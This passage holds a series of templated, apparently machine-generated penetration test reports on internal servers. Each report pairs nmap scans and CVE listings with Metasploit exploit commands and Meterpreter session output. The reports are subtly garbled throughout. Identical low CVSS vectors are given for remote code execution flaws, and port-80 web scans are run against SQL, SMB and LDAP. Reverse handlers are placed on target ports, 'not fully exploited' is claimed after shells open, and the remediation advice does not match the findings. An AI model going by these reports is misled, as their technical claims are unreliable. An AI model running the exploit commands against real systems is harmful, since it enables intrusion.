vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0089 Date: 2025-05-11 19:07:19 Tester: asmith Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Microsoft SQL database server (192.168.128.126) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 192.168.128.126 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.128.126 Host is up (0.53s latency). MAC Address: 40:6C:20:8C:77:08 (Arista) 1433/tcp open ms-sql-s Microsoft SQL Server 2017 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 13 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.128.126 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.128.126 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.128.126 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 192.168.128.126; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2019-1068 (CVE-2019-1068) - CVE-2020-0618 (CVE-2020-0618) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (385 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained system access [*] Connected to 192.168.128.126 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0090 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Kubernetes API server (10.121.15.220) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 10.121.15.220 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.121.15.220 Host is up (0.19s latency). MAC Address: CC:13:F1:CF:52:BB (Huawei) 6443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10250/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10255/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 1 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.121.15.220 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.121.15.220 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.121.15.220 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 10.121.15.220; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2020-8554 (CVE-2020-8554) - CVE-2021-25741 (CVE-2021-25741) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (467 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained root access [*] Connected to 10.121.15.220 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0091 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Active Directory server (192.168.26.30) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 192.168.26.30 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.26.30 Host is up (0.56s latency). MAC Address: 88:53:C9:9D:5D:DC (Apple) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.50 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.50 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.26.30 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.26.30 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (4.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.26.30 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.26.30; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Target service crashed during exploitation [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) - Service instability detected - consider denial of service testing [*] Recommended next steps: - Verify payload compatibility (staged vs stageless) - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0092 Date: 2025-05-11 19:07:19 Tester: mchen Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the BIND DNS server (192.168.215.221) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.215.221 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.215.221 Host is up (0.33s latency). MAC Address: 9C:91:DF:96:2D:F5 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.215.221 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.215.221 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.215.221; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.215.221:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.215.221 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0093 Date: 2025-05-11 19:07:19 Tester: asmith Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the Microsoft SQL database server (192.168.250.137) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 192.168.250.137 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.250.137 Host is up (0.40s latency). MAC Address: F4:9D:CF:65:D3:ED (Huawei) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 2 hops Service Info: Hostname: sql-backend-02 Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.250.137 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.250.137 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 192.168.250.137; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2019-1068 (CVE-2019-1068) - CVE-2020-0618 (CVE-2020-0618) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (219 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained system access [*] Connected to 192.168.250.137 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0094 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the SMB file server (10.189.169.165) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 10.189.169.165 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.189.169.165 Host is up (0.29s latency). MAC Address: E6:4C:41:20:9C:42 (Intel) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 1 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 13 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.189.169.165 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.189.169.165 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.189.169.165 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.189.169.165; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (272 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained system access [*] Connected to 10.189.169.165 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0095 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the Active Directory server (192.168.133.169) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 192.168.133.169 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.133.169 Host is up (0.54s latency). MAC Address: 64:82:37:44:28:EB (Juniper) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.50 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 5 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.133.169 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.133.169 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.133.169; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (601 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained user access [*] Connected to 192.168.133.169 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Critical Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0096 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the REST API gateway (192.168.32.2) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 192.168.32.2 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.32.2 Host is up (0.31s latency). MAC Address: 38:F1:55:D6:74:A5 (Cisco) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.32.2 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.32.2 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.32.2; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (667 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained user access [*] Connected to 192.168.32.2 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 